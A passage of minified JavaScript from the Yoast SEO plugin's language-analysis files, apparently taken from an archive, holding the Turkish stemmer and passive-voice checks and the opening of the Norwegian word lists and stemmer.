i}while(0);this.cursor=this.limit-i;e:do{if(!this.r_stem_suffix_chain_before_ki$esjava$0())break e;break i}while(0);this.cursor=this.limit-i;e:do{this.ket=this.cursor;r:do{j=this.limit-this.cursor;a:do{if(!this.r_mark_DA$esjava$0())break a;break r}while(0);this.cursor=this.limit-j;a:do{if(!this.r_mark_yU$esjava$0())break a;break r}while(0);if(this.cursor=this.limit-j,!this.r_mark_yA$esjava$0())break e}while(0);this.bra=this.cursor,this.slice_del$esjava$0(),v=this.limit-this.cursor;r:do{this.ket=this.cursor;a:do{w=this.limit-this.cursor;s:do{if(!this.r_mark_possessives$esjava$0())break s;this.bra=this.cursor,this.slice_del$esjava$0(),p=this.limit-this.cursor;t:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-p;break t}}while(0);break a}while(0);if(this.cursor=this.limit-w,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-v;break r}}while(0);if(this.bra=this.cursor,this.slice_del$esjava$0(),this.ket=this.cursor,!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-v;break r}}while(0);break i}while(0);this.cursor=this.limit-i,this.ket=this.cursor;e:do{z=this.limit-this.cursor;r:do{if(!this.r_mark_possessives$esjava$0())break r;break e}while(0);if(this.cursor=this.limit-z,!this.r_mark_sU$esjava$0())return!1}while(0);this.bra=this.cursor,this.slice_del$esjava$0(),D=this.limit-this.cursor;e:do{if(this.ket=this.cursor,!this.r_mark_lAr$esjava$0()){this.cursor=this.limit-D;break e}if(this.bra=this.cursor,this.slice_del$esjava$0(),!this.r_stem_suffix_chain_before_ki$esjava$0()){this.cursor=this.limit-D;break e}}while(0)}while(0);return!0}r_post_process_last_consonants$esjava$0(){let i;if(this.ket=this.cursor,i=this.find_among_b$esjava$2(c.a_23,4),0===i)return!1;switch(this.bra=this.cursor,i){case 0:return!1;case 1:this.slice_from$esjava$1("p");break;case 2:this.slice_from$esjava$1("ç");break;case 3:this.slice_from$esjava$1("t");break;case 4:this.slice_from$esjava$1("k")}return!0}r_append_U_to_stems_ending_with_d_or_g$esjava$0(){let i,e,r,a,s,t,n,h,o,l,u,m,_,k,d;i=this.limit-this.cursor;i:do{e=this.limit-this.cursor;e:do{if(!this.eq_s_b$esjava$2(1,"d"))break e;break i}while(0);if(this.cursor=this.limit-e,!this.eq_s_b$esjava$2(1,"g"))return!1}while(0);this.cursor=this.limit-i;i:do{r=this.limit-this.cursor;e:do{a=this.limit-this.cursor;r:for(;;){s=this.limit-this.cursor;a:do{if(!this.in_grouping_b$esjava$3(c.g_vowel,97,305))break a;this.cursor=this.limit-s;break r}while(0);if(this.cursor=this.limit-s,this.cursor<=this.limit_backward)break e;this.cursor--}r:do{t=this.limit-this.cursor;a:do{if(!this.eq_s_b$esjava$2(1,"a"))break a;break r}while(0);if(this.cursor=this.limit-t,!this.eq_s_b$esjava$2(1,"ı"))break e}while(0);this.cursor=this.limit-a;{const i=this.cursor;this.insert$esjava$3(this.cursor,this.cursor,"ı"),this.cursor=i}break i}while(0);this.cursor=this.limit-r;e:do{n=this.limit-this.cursor;r:for(;;){h=this.limit-this.cursor;a:do{if(!this.in_grouping_b$esjava$3(c.g_vowel,97,305))break a;this.cursor=this.limit-h;break r}while(0);if(this.cursor=this.limit-h,this.cursor<=this.limit_backward)break e;this.cursor--}r:do{o=this.limit-this.cursor;a:do{if(!this.eq_s_b$esjava$2(1,"e"))break a;break r}while(0);if(this.cursor=this.limit-o,!this.eq_s_b$esjava$2(1,"i"))break e}while(0);this.cursor=this.limit-n;{const i=this.cursor;this.insert$esjava$3(this.cursor,this.cursor,"i"),this.cursor=i}break i}while(0);this.cursor=this.limit-r;e:do{l=this.limit-this.cursor;r:for(;;){u=this.limit-this.cursor;a:do{if(!this.in_grouping_b$esjava$3(c.g_vowel,97,305))break a;this.cursor=this.limit-u;break r}while(0);if(this.cursor=this.limit-u,this.cursor<=this.limit_backward)break e;this.cursor--}r:do{m=this.limit-this.cursor;a:do{if(!this.eq_s_b$esjava$2(1,"o"))break a;break r}while(0);if(this.cursor=this.limit-m,!this.eq_s_b$esjava$2(1,"u"))break e}while(0);this.cursor=this.limit-l;{const i=this.cursor;this.insert$esjava$3(this.cursor,this.cursor,"u"),this.cursor=i}break i}while(0);this.cursor=this.limit-r,_=this.limit-this.cursor;e:for(;;){k=this.limit-this.cursor;r:do{if(!this.in_grouping_b$esjava$3(c.g_vowel,97,305))break r;this.cursor=this.limit-k;break e}while(0);if(this.cursor=this.limit-k,this.cursor<=this.limit_backward)return!1;this.cursor--}e:do{d=this.limit-this.cursor;r:do{if(!this.eq_s_b$esjava$2(1,"ö"))break r;break e}while(0);if(this.cursor=this.limit-d,!this.eq_s_b$esjava$2(1,"ü"))return!1}while(0);this.cursor=this.limit-_;{const i=this.cursor;this.insert$esjava$3(this.cursor,this.cursor,"ü"),this.cursor=i}}while(0);return!0}r_more_than_one_syllable_word$esjava$0(){let i,e;i=this.cursor;{let i=2;i:for(;;){e=this.cursor;e:do{r:for(;;){a:do{if(!this.in_grouping$esjava$3(c.g_vowel,97,305))break a;break r}while(0);if(this.cursor>=this.limit)break e;this.cursor++}i--;continue i}while(0);this.cursor=e;break i}if(i>0)return!1}return this.cursor=i,!0}r_is_reserved_word$esjava$0(){let i,e,r;i:do{i=this.cursor;e:do{e=this.cursor;r:for(;;){a:do{if(!this.eq_s$esjava$2(2,"ad"))break a;break r}while(0);if(this.cursor>=this.limit)break e;this.cursor++}if(this.I_strlen=2,this.I_strlen!==this.limit)break e;this.cursor=e;break i}while(0);this.cursor=i,r=this.cursor;e:for(;;){r:do{if(!this.eq_s$esjava$2(5,"soyad"))break r;break e}while(0);if(this.cursor>=this.limit)return!1;this.cursor++}if(this.I_strlen=5,this.I_strlen!==this.limit)return!1;this.cursor=r}while(0);return!0}r_postlude$esjava$0(){let i,e,r;i=this.cursor;i:do{if(!this.r_is_reserved_word$esjava$0())break i;return!1}while(0);this.cursor=i,this.limit_backward=this.cursor,this.cursor=this.limit,e=this.limit-this.cursor;i:do{if(!this.r_append_U_to_stems_ending_with_d_or_g$esjava$0())break i}while(0);this.cursor=this.limit-e,r=this.limit-this.cursor;i:do{if(!this.r_post_process_last_consonants$esjava$0())break i}while(0);return this.cursor=this.limit-r,this.cursor=this.limit_backward,!0}stem$esjava$0(){let i,e;if(!this.r_more_than_one_syllable_word$esjava$0())return!1;this.limit_backward=this.cursor,this.cursor=this.limit,i=this.limit-this.cursor;i:do{if(!this.r_stem_nominal_verb_suffixes$esjava$0())break i}while(0);if(this.cursor=this.limit-i,!this.B_continue_stemming_noun_suffixes)return!1;e=this.limit-this.cursor;i:do{if(!this.r_stem_noun_suffixes$esjava$0())break i}while(0);return this.cursor=this.limit-e,this.cursor=this.limit_backward,!!this.r_postlude$esjava$0()}stem(...i){return 0===i.length?this.stem$esjava$0(...i):super.stem(...i)}}const d=c,{baseStemmer:b}=r.languageProcessing;function $(i){const e=(0,l.get)(i.getData("morphology"),"tr",!1);return e?i=>function(i,e){i=(i=i.toLowerCase()).replace("'","");const r=new d(e);return r.setCurrent(i),r.stem(),r.getCurrent()}(i,e):b}const f=["nmak","nmek","nir","nır","nür","nur","nıyor","niyor","ndı","ndi","ndu","ndü","nmış","nmiş","nmuş","nmüş","necek","nacak","nmıştı","nmişti","nmuştu","nmüştü","nıyordu","niyordu","nuyordu","nüyordu","necekti","nacaktı","nsa","nse","nmalı","nmeli","nmaz","nmez","anmak","enmek","ınmak","inmek","unmak","ünmek","anır","enir","ınır","inir","unur","ünür","anıyor","eniyor","ınıyor","iniyor","unuyor","ünüyor","andı","endi","ındı","indi","undu","ündü","anmış","enmiş","ınmış","inmiş","unmuş","ünmüş","anacak","enecek","ınacak","inecek","unacak","ünecek","ınmıştı","inmişti","unmuştu","ünmüştü","ınıyordu","iniyordu","unuyordu","ünüyordu","necekti","nacaktı","ansa","ense","ınsa","inse","unsa","ünse","anmalı","enmeli","ınmalı","inmeli","unmalı","ünmeli","anmaz","enmez","ınmaz","inmez","unmaz","ünmez","ılmak","ilmek","ulmak","ülmek","ılır","ilir","ulur","ülür","ılınıyor","iliniyor","ulunuyor","ülüyor","ıldı","ildi","uldu","üldü","ılmış","ilmiş","ulmuş","ülmül","ılacak","ilecek","ulacak","ülecek","ılmıştı","ilmişti","ulmuştu","ülmüştü","ılıyordu","iliyordu","uluyordu","ülüyordu","necekti","nacaktı","ılsa","ilse","ulsa","ülse","ılmalı","ilmeli","ulmalı","ülmeli","ılmaz","ilmez","ulmaz","ülmez"],y=["kullanmak","ulanmak","bağlanmak","alınmak","boşanmak","kaçınmak","hazırlanmak","olunmak","sığınmak","taşınmak","arlanmak","sakınmak","zanmak","tırmanmak","i̇nanmak","arınmak","kullanmak","isınmak","yıkanmak","öğrenmek","öğrenmek","düşünmek","renmek","düşünmek","ünmek","dönmek","değinmek","eğlenmek","lenmek","öğünmek","deyinmek","örenmek","görünmek","öğrenmek","güvenmek","beğenmek","sünmek","geçinmek","tükenmek","kabullenmek","öğrenmek","kabullenmek","sinir","peynir","münir","alınır","kazanır","yorumlanır","kullanır","uygulanır","dayanır","sağlanır","i̇nanır","özenir","elenir","öğrenir","tersinir","yaşanır","toplanır","tanır","senir","rastlanır","renir","münir","kaynaklanır","bağlanır","hazırlanır","güvenir","enir","söylenir","başlanır","davranır","kapanır","oynanır","uzanır","tanımlanır","tanınır","souvenir","öğrenir","taşınır","konteyner","uyanır","beğenir","hesaplanır","sanır","saklanır","yakalanır","aranır","algılanır","hoşlanır","karşılanır","tamamlanır","münir","yayınlanır","yıkanır","tekrarlanır","atanır","bir","karasenir","i̇ndüklenir","zorlanır","avenir","erdenir","kas-sinir","utanır","üstenir","katlanır","beyazpeynir","şekillenir","sonuçlanır","doğranır","narin","faydalanır","kilinir","hızlanır","yararlanır","kutlanır","saptanır","nedendir","kalınır","ayarlanır","kıskanır","hastalanır","suvenir","yapılabilinir","canlanır","ekillenir","hacklenir","haşlanır","sonuçlanır","resetlenir","beğenir","açıklanır","programming-sinir","i̇sindir","odaklanır","pionir","çalınır","peynir","tutuklanır","sınır","taşımalık","anır","kanır","adanır","lanır","ültanır","rastlanır","haktanır","güneysınır","i̇nanır","açılır-kapanır","sağlanır","tanrı tanır","bağlanır","tanır","yansır","kullanır","açıklanır","dizaynır","düşünür","görünür","siyanür","dünür","düşünür","ünür","çürür","ömür","nür","öğünür","onur","aynur","i̇lknur","ayşenur","öznur","konur","binnur","alinur","gülnur","hükmolunur","atanur","rıza nur","yurdanur","şennur","fatmanur","şennur","zinnur","adanur","semanur","elanur","düşünür","baykonur","edanur","göknur","günnur","beyzanur","görünür","nisanur","saynur","mecnur","lunur","stem","cemalnur","i̇lknur","aynur","elnur","addolunur","ayşenur","birnur","sedanur","alanur","esmanur","elifnur","şahnur","aydanur","senanur","ecenur","havvanur","bozunur","bennur","en-nur","tennur","konur","reddolunur","sondur","olunur","şeymanur","şerefnur","fernur","stem","ceynur","zeynur","gökçenur","mervenur","ernur","sonunur","biyobozunur","şemsinur","haşrolunur","incinur","lanıyor","kulanıyor","nıyor","rastlanıyor","kullanıyor","kaynaklanıyor","kazanıyor","yaşanıyor","alınıyor","i̇nanıyor","tanıyor","hazırlanıyor","dayanıyor","söyleniyor","sanıyor","uygulanıyor","yanıyor","eleniyor","davranıyor","aranıyor","öğreniyor","sağlanıyor","kapanıyor","zorlanıyor","tanınıyor","kombinleniyor","yayınlanıyor","oynanıyor","beğeniyor","uyanıyor","planlanıyor","toplanıyor","reniyor","niyor","öğreniyor","bağlanıyor","uzanıyor","algılanıyor","söyleniyor","tanımlanıyor","vurgulanıyor","karşılanıyor","kınıyor","saklanıyor","başlanıyor","yükleniyor","sıralanıyor","alındı","kendi","pazubandı","nındı","irgandı","yapsındı","yarabandı","açıklandı","bağlandı","kendi","efendi","beyefendi","hanımefendi","i̇kindi","hocaefendi","hindi","bindi","gandi","nakşibendi","selendi","beyefendi","bondi","alindi","kazandı","veliefendi","hanendi","hacklendi","burundi","kullandı","i̇vrindi","başlandı","yasandı","lendi","yayınlandı","andı","merkezefendi","demirhindi","vivendi","grandi","ögrendi","aczmendi","mundi","kapandı","hanendi","kandil","i̇nsandı","çinhindi","randi","yandı","şimdi","semerkant","açıklandı","ravalpindi","tamamlandı","kadınefendi","landi","brendi","beğendi","gecekondu","hindu","soundu","katmandu","kundu","olsundu","poundu","katmandu","duşundu","emrolundu","vahyolundu","hindu","lundu","candu","roundu","göründü","paundu","fırdöndü","düşündü","fondü","üründü","gündöndü","mumsöndü","kendü","i̇nanmış","ınmış","i̇spatlanmış","nınmış","bağlanmış","hazırlanmış","lenmiş","hacklenmiş","öğrenmiş","i̇ndüklenmiş","sinterlenmiş","begenmiş","alinmiş","kombinlenmiş","lânetlenmiş","editlenmiş","yenmiş","temperlenmiş","beyenmiş","kazanmiş","olsunmuş","emrolunmuş","lunmuş","yunmuş","özüdönmüş","söylenecek","düşünecek","öğrenecek","lenecek","düşünecek","düzenlenecek","öğrenecek","renecek","nacak","alınacak","lanacak","kazanmıştı","lenmişti","emrolunmuştu","i̇nanıyordu","kullanıyordu","tanıyordu","dayanıyordu","görünüyordu","düşünüyordu","nuyordu","düşünüyordu","ünüyordu","fransa","floransa","lufthansa","prensa","yakınsa","konsa","hansa","sansa","mensa","türkiye-fransa","türbülansa","ofansa","hiltonsa","almanya-fransa","yünsa","jinsa","ınsa","nınsa","winsa","hünsa","extensa","demansa","fıransa","advansa","tnsa","ingiltere-fransa","ambiyansa","ünsa","rönesansa","cheonsa","malpensa","densa","finanse","ense","lanse","adsense","response","defense","sübvanse","pense","intense","expense","alphonse","kompanse","mumkunse","odense","fluminense","ninse","offense","intellisense","nonsense","anse","pfsense","immense","gorunse","hernedense","danse","mightyadsense","hisense","hortense","adriaanse","süspanse","önmeli","ögrenmeli","taşınmaz","kuşkonmaz","sınmaz","alınmaz","taşınmaz","lanmaz","osanmaz","hoşlanmaz","sönmez","dönmez","bölünmez","ersönmez","dönmez","görünmez","üşenmez","sönmez","görünmez","yinmez","sönmez","kullanmak","bağlanmak","boşanmak","hazırlanmak","öğrenmek","öğrenmek","renmek","eğlenmek","lenmek","örenmek","öğrenmek","sığınmak","değinmek","deyinmek","düşünmek","erişilebilir","güvenilir","aktarabilecek"],g=["sevi","giyi","gezi","ayrı","tıka","ayrı","sarı","övü","boşa","besle","kırı","soyu","yıka","süsle","içle","besle","tara","çeki","çözü","hazırla","üzü","yıkı","yıka","kovu","sıkı","söyle","kaçı","kapa","kası","koru","sarsı","sığı","kurula","yakı","yoru","taşı","uza","takı","yala","atı","iyileş","sinirle","dövü"],{getWords:j}=r.languageProcessing;function v(i){let e=j(i).filter((i=>i.length>5));return e=e.filter((i=>!y.includes(i))),e=function(i){return i.filter((i=>g.some((e=>f.some((function(r){return!new RegExp("^"+e+r+"$").test(i)}))))))}(e),e.some((i=>f.some((e=>i.endsWith(e)))))}const{AbstractResearcher:w}=r.languageProcessing;class p extends w{constructor(i){super(i),delete this.defaultResearches.getFleschReadingScore,Object.assign(this.config,{language:"tr",passiveConstructionType:"morphological",firstWordExceptions:a,functionWords:n,transitionWords:t,twoPartTransitionWords:h,sentenceLength:o}),Object.assign(this.helpers,{getStemmer:$,isPassiveSentence:v})}}(window.yoast=window.yoast||{}).Researcher=e})();wordpress-seo/js/dist/languages/nb.js000064400000121154147510273070013654 0ustar00(()=>{"use strict";var e={d:(t,r)=>{for(var d in r)e.o(r,d)&&!e.o(t,d)&&Object.defineProperty(t,d,{enumerable:!0,get:r[d]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{default:()=>W});const r=window.yoast.analysis,d=["ei","et","en","ett","to","tre","fire","fem","seks","sju","syv","åtte","ni","ti","denne","dette","disse","den","det","de"],s=["også","fortsatt","derimot","derfor","faktisk","endelig","likevel","følgelig","likeså","dessuten","selvsagt","deretter","men","for","fordi","mens","bare","da","dog","enn","ettersom","før","hvorpå","inntil","når","omennskjønt","samt","som","uaktet","pga.","uansett","foruten","siden","m.a.o","attpåtil","derved","følgelig","forøvrig","iallfall","imidlertid","især","likefullt","likeledes","likeså","likevel","omsider","samstundes","samtidig","sikkert","således","såleis","særs","ellers","enda","dersom","skjønt","samme","eansett","etterpå","generelt","herav","imens"],n=s.concat(["på den andre siden","for øyeblikket","i stedet","i mellomtiden","til slutt","i tillegg","i tilfelle","med mindre","om enn","om to strakser","selv om","på grunn av","med hensyn til","for eksempel","en gang","fremfor alt","i alle fall","i et nøtteskall","i hvert fall","i mellomtiden","med andre ord","til dømes","for øvrig","i ettertid","så langt","på tross av","til tross for","til tross for at ","for at","slik at","i løpet av","så at","slik som","så lenge","så ofte","så snart","etter hvert som","så fremt","så sant","i fall","for så vidt som","fordi om","enda om","trass i at","hvor så","hva enn","hvor enn","sånn at","som om","så som","rett og slett ","på samme måte","etter hvert","av dette følger","i mellomtiden","i dette tilfellet","i motsetning til","som et resultat","like viktig","på grunn av det","på den positive siden","på den negative siden","tvert imot","kort oppsummert","i begge tilfeller"]);function l(e){let t=e;return e.forEach((r=>{(r=r.split("-")).length>0&&r.filter((t=>!e.includes(t))).length>0&&(t=t.concat(r))})),t}const i=["tror","fortelle","fortell","fortalte","tenkte","tenk"],k=["ha","har","hadde","gjør","gjøre","gjorde","kaller","kalte","kalle","kalla","virker","virka","virke","virka","går","gikk","gå","leges","lages","legges","lages","består","bestod","bestå","bestått","bety","betyr"],a=l(k.concat(i)),o=l([].concat(["ei","et"],["null","en","ett","ene","to","tre","fire","fem","seks","syv","åtte","ni","ti","elleve","tolv","tretten","fjorten","femten","seksten","sytten","atten","nitten","tjue","tyve","tjueen","enogtyve","tretti","tredve","førti","førr","femti","seksti","sytti","åtti","nitti","hundre","hundreogen","etthundreogen","tohundre","tusen","tusenogen","million","millioner","milliard","milliarder"],["nullte","første","først","sekund","tredje","fjerde","femte","sjette","syvende","åttende","niende","tiende","ellevte","tolvte","trettende","fjortende","femtende","sekstende","syttende","åttende","nittende","tjuende","tjueførst","tjueførste","trettiende","førtiende","femtiende","sekstiende","syttiende","åttiende","nittiende","hundrede","hundreogfemtiende","to hundrede","tusende","millionte","millardte"],["jeg","du","den","det","vi","de","han","hun","dere","henne","oss","meg","deg","ham","dem","min","din","deres","vår","deres","ditt","mitt","våre","vårt","hans","hennes","dens","dets","egen","egne","mi","di","sin","si","sitt","sine","mine","dine","denne","dette","disse","slik","slikt","slike","sånn","sånt","sånne","samme","hverandre","hvert","som"],["hvem","hvordan","hvorfor","hvor","hva","hvilken","hvilket","hvilke"],["mange","mye","mang en","mangt et","hele","mer","ingen","ingenting","ikke noen","ikke noe","alle","all","alt","allting","noen","noe","flere","hver","hvert","annenhver","ammethvert","begge","sov","mest","fleste","få","fæst","færrest","flere","flest"],["seg","selv"],["ingenting","annen","annet","andre"],["sånn","ved","mot","ned","enn","over","inn","i","sa","opp","der","fra","din","nei","mellom","di","oppe","av","med","til","å","på","du","uten","én","under","hos","inne","gjennom","unna","del","nede","til","over","under","etter","kun","blant","for","mellom","blant"],["eller","hvis","ja","et","som","i","og","både","men","mens","enten","verken","at","om","da","når","før","idet","etter at","siden","innen","med det samme","til","inntil","hver gang","etter hvert som","så lenge","så lenge som","så ofte","så ofte som","så snart","så snart som","etter","etterpå","foran","tidligere","fordi","ettersom","derfor","dersom","hvis","så fremt","så sant","i fall","i tilfelle","med mindre","uten at","bare","for så vidt som","uten at","uten å","enda","fordi om","enda om","skjønt","om enn","hva så","trass i at","hvor så","samme","selv om","hva enn","til tross for at","hvor enn","uansett","for at","så","så at","slik at","sånn at","for at, så","slik som","så som","som om","enn","dess","jo","desto"],i,["virkelig","akkurat","visst"],k,["helt","andre","litt","lenge","siste","fint","annet","stor","stort","store","neste","lenger","annen","nye","alene","flott","gammel","gammelt","gamle","klart","liten","langt","gamle","dårlig","hyggelig","gode","sånt","nytt","best","lang","små","lot","større","vakker","vakkert","vakre","ny","bra","bedre","grei","greit","greie","høyt","største","størst","slikt","liten","lita","lite","små","mindre","minst","kort","glad","dårlig","ille","ond","vond","verre","verst","eldre","eldst","lang","lengre","lengst","nær","næmerere","nærere","nærmest","nærest","tung","tyngre","tyngst","ung","yngre","yngst","pen","alltid","godt","sammen","tilbake","etter","igjen","bare","så","veldig","bedre","samme","far","eneste","enig","borte","snart","rundt","beste","bort","vekk","nesten","ganske","senere","videre","straks","svært","neste","bak","bakre","bakerst","borte","bortre","bortest","fremme","fremre","fremst","foran","forrest","inne","indre","innerst","midt","midtre","midterst","nede","nedre","nederst","nord","nordre","nordligst","øvre","øverst","sør","søndre","sørligst","vest","vestre","vestligst","øst","østre","østligst","ute","ytre","ytterst","underst","langt","fram","her","der","nok","aldri","ut","ned","nede","bort","innom","ingensteds","sjelden","sjeldnere","sjeldnest","raskt","raskere","raskest","gjerne","heller","helst","dårligere","dårligst","vondt","vondere","vondest","meget","øverst","enda","neppe","nokså","nesten","helt","bitende","aller","ganske","aldeles","derfra","herfra","utenlands","noensteds","oppå","hjemme","hit","dit","vekk","fram","fort","hyggelig","hvorledes","sånn","således","slik","pent","morsomt","akkurat","alt","ofte","nettopp","bestandig","noen gang","noen ganger","fremdeles","ennå","da","sjeldent"],["hei","fy","au","hurra","uff","takk","hm","fanden","pokker","fillern","åh","isj","hallo","æsj"],["g"],["år","året","går","dag","nå","tid","tiden","morgen","dager","minutt","minutter","dagen","uke","uker","måneder","stund","timer","time","morges","ettermiddag","tidlig","fjor","kveld","natt","fogårs","vinter","sommer","vår","høst"],["ting","tingene"],["ok","okay","ja","jo","jaså","nei","ikke","unnskyld","beklager","herr","altså","grader","grad","kr","en halvdel","en halv","to halve","en tredel","tredjedel","to tredeler","tredjedeler","en firedel","fjerdedel","kvart","en trettendedel","en fjortendedel","en promille","en tusendel","halvannen","en og en halv"],a,s)),g=["dette","at","disse","på","unntatt","for","fra","i","om","ovenfor","på tvers","etter","mot","blant","rundt","som","på","før","bak","nedenfor","under","siden","mellom","utover","men","av","når","da","som","fordi ","ikke","og"],p=[["både","og"],["enten","eller"],["verken","eller"],["jo","dess"],["dess","dess"],["jo","desto"],["ikke bare","men"],["ikke bare","også"]],m=window.lodash,f=function(e){let t=e.search(/[aeiouyøåæ][^aeiouyøåæ]/);return-1!==t&&(t+=2),-1!==t&&t<3&&(t=3),t},v=function(e,t,r){const d=e.search(new RegExp(r.externalStemmer.regexSuffixes1a));if(d>=t&&-1!==t){let t=e.substring(0,d);return/ert$/i.test(t)&&(t=t.slice(0,-1)),t}const s=e.search(/s$/),n=e.search(new RegExp(r.externalStemmer.regexSuffixes1b));return s>=t&&-1!==n&&-1!==t?e.slice(0,-1):e},u=function(e,t,r){return e.search(new RegExp(r.externalStemmer.regexSuffixes2))>=t&&-1!==t&&(e=e.slice(0,-1)),e},b=function(e,t,r){const d=e.search(new RegExp(r.externalStemmer.regexSuffixes3));return d>=t&&-1!==t&&(e=e.substring(0,d)),e},{baseStemmer:y}=r.languageProcessing;function h(e){const t=(0,m.get)(e.getData("morphology"),"nb",!1);return t?e=>function(e,t){let r=-1;for(const d of[v,u,b])r=f(e),e=d(e,r,t);return e}(e,t):y}const j=["villet","bruket","finnet","legget","viset","vitet","ligget","ønsket","holdet","spillet","laget","velget","tenket","menet","trenget","begynnet","kjennet","kjøpet","startet","finnest","leset","følget","jobbet","gjeldet","sendet","fortellet","skremt","prøvd","sittet","høret","hjelpet","bygget","klaret","kjøret","føret","snakket","øket","tilbyt","skapet","håpet","vinnet","møtet","delet","følet","utviklet","betydd","kallet","bidrat","læret","selget","spiset","opplevet","fortsettet","passet","drivet","krevet","fungeret","levet","leveret","virket","betalet","forståt","deltat","benyttet","søket","endret","spørret","vurderet","stillet","handlet","inkluderet","åpnet","reiset","inneholdet","bestemmet","anbefalet","trekket","ventet","samlet","flyttet","nevnet","gjennomføret","husket","luret","lurt","sikret","begynt","beståt","reduseret","slippet","hentet","regnet","svaret","knyttet","utføret","hetet","merket","baseret","trenet","fallet","meldet","ledet","fyllet","produseret","dekket","endet","mistet","gledet","unngåt","sørget","behandlet","vokset","mottat","registreret","beskrivet","arrangeret","forsøket","etableret","påvirket","skjønnet","fjernet","fødet","sjekket","forklaret","treffet","stoppet","bestillet","oppnåt","plasseret","avsluttet","henget","løpet","forventet","sluttet","presenteret","elsket","slitet","kostet","planlegget","bæret","besøket","glemmet","støttet","byttet","kastet","testet","nytet","oppdaget","oppståt","tapet","brytet","løset","styret","fornøyet","innebæret","rettet","representeret","tilpasset","publiseret","omfattet","utsettet","sammenlignet","tillatet","sovet","dannet","hevdet","tjenet","inviteret","forsvinnet","manglet","drepet","utgjøret","skillet","beskyttet","stemmet","varieret","drikket","opprettet","inngåt","forbedret","ødelegget","satset","dukket","målet","lastet","foreslåt","diskuteret","ringet","studeret","interesseret","styrket","begrenset","varet","koblet","skadet","forlatet","forlatt","lovet","foretat","skaffet","foregåt","godkjennet","koset","sparet","hørest","hindret","vedtat","bringet","bekreftet","oppdateret","anset","synget","fokuseret","forårsaket","spret","erstattet","skytet","serveret","kombineret","kjempet","latet","antat","blandet","byt","snut","preget","fordelet","ansettet","takket","faret","utvidet","skyldest","minnet","trykket","lanseret","kontaktet","beholdet","letet","forberedet","festet","innføret","undersøket","brennet","malet","medføret","beveget","stikket","skiftet","hoppet","involveret","egnet","overtat","monteret","tålet","avgjøret","lykkest","plukket","beregnet","utgit","peket","håndteret","tegnet","langet","uttalet","lagret","følest","installeret","feiret","opprettholdet","oppfordret","reageret","kontrolleret","understreket","havnet","vasket","befinnet","fullføret","leket","lidet","defineret","omtalet","løftet","oppgit","rammet","samarbeidet","fanget","typet","opplyset","strekket","dreiet","stenget","utarbeidet","fremmet","overføret","pleiet","oppfyllet","inspireret","engasjeret","utnyttet","oppføret","organiseret","smaket","reddet","scoret","hendet","bekymret","kuttet","påpeket","rekket","forandret","aksepteret","ordnet","nektet","presset","passeret","savnet","nærmet","pakket","smilet","møtest","rapporteret","dømmet","oppfattet","tilhøret","stiget","tildelet","talet","tydet","greiet","markeret","ivaretat","fortjenet","vennet","leiet","lånet","eksisteret","dokumenteret","klikket","vendet","tvinget","kommenteret","innrømmet","forholdet","landet","våknet","funket","formidlet","identifiseret","tellet","utstyret","gratuleret","formet","angripet","overrasket","foreligget","hevet","tørret","foretrekket","garanteret","justeret","prioriteret","lyttet","gjentat","imponeret","resulteret","skjulet","trengest","rivet","trivest","lukket","uttrykket","overlevet","klaget","informeret","tilbringet","postet","giftet","designet","avsløret","varslet","fremståt","blogget","innset","stolet","opereret","forsvaret","forutsettet","gripet","ryddet","utdannet","skrut","veiet","krysset","utfordret","gjennomgåt","reguleret","støtet","senket","lignet","bevaret","angit","utforsket","tørket","syklet","forsterket","tolket","slappet","investeret","fikset","berøret","beviset","ropet","koket","forblit","opptret","vekket","fastsettet","strikket","fryktet","blåset","avholdet","drømmet","syt","forekommet","forbyt","pratet","observeret","taklet","påståt","konkurreret","anet","rennet","rit","signeret","forhindret","ankommet","konkluderet","sporet","stiftet","relateret","forbindet","avtalet","varmet","bitet","påføret","bindet","fellet","kvalifiseret","refereret","utformet","avviset","klippet","overbeviset","blat","plaget","øvet","orket","behøvet","godtat","beklaget","henviset","kommuniseret","integreret","seilet","betraktet","danset","giddet","synket","lettet","tilrettelegget","finansieret","stimuleret","bedret","forebygget","avhenget","skuffet","tilsit","rullet","lestt","analyseret","hilset","bosettet","stjelet","tilsvaret","introduseret","dyrket","aktiveret","gravet","tret","disset","farget","anvendet","inntat","oversettet","hatet","konsentreret","utløset","reflekteret","grunnlegget","pustet","opplevest","kritiseret","anerkjennet","avdekket","svekket","slettet","gjenståt","hvilet","redigeret","kåret","steket","røret","låset","advaret","risikeret","renset","gråtet","knuset","rykket","underviset","skjæret","motiveret","luktet","domineret","fisket","biståt","seest","åpenbaret","tilføret","tilknyttet","påviset","besluttet","kartlegget","filmet","ytet","pågåt","kikket","gjemmet","annonseret","logget","omhandlet","returneret","røyket","pålegget","tipset","tippet","plantet","fremstillet","puttet","irriteret","tennet","stanset","utøvet","indikeret","noteret","tiltrekket","fryset","pyntet","klatret","lyset","oppgraderet","pusset","slenget","fraktet","fristet","stammet","skremmet","antydet","utnevnet","videreføret","forsket","vandret","tilsettet","oppsøket","fattet","svinget","forhandlet","skrevet","lønnet","stryket","suget","viet","digget","siktet","huset","repareret","erfaret","praktiseret","badet","forlenget","baket","straffet","realiseret","stresset","skrytet","intervjuet","flytet","bekjempet","illustreret","bøyet","droppet","iverksettet","ladet","mistenket","sovnet","forpliktet","tømmet","fremhevet","dempet","tvilet","begåt","orienteret","overvåket","fastslåt","banket","løsnet","tilfredsstillet","kopieret","etterfølget","rommet","argumenteret","angret","kulet","drøftet","sparket","begrunnet","betegnet","flyktet","erklæret","oppsummeret","forelsket","respekteret","lydet","låtet","avklaret","isoleret","smittet","anslåt","hellet","priset","smøret","genereret","oppbevaret","innledet","utelukket","belyset","omgit","vektlegget","listet","overlatet","tittet","dritet","debuteret","roet","konstrueret","administreret","gjengit","ryket","nomineret","svømmet","smeltet","offentliggjøret","etterlatet","skinnet","smellet","skriket","forvaltet","presteret","spesialiseret","siget","forsikret","dateret","klemmet","forstyrret","toppet","skyvet","linket","matchet","ridet","videreutviklet","fremgåt","avgit","fornyet","limet","raset","spat","balanseret","frigjøret","siteret","forestillet","konstateret","jaktet","grunnet","veiledet","gjenopprettet","angåt","besvaret","sammenliknet","innhentet","ristet","rengjøret","litet","kompliseret","utredet","nyttet","arrestere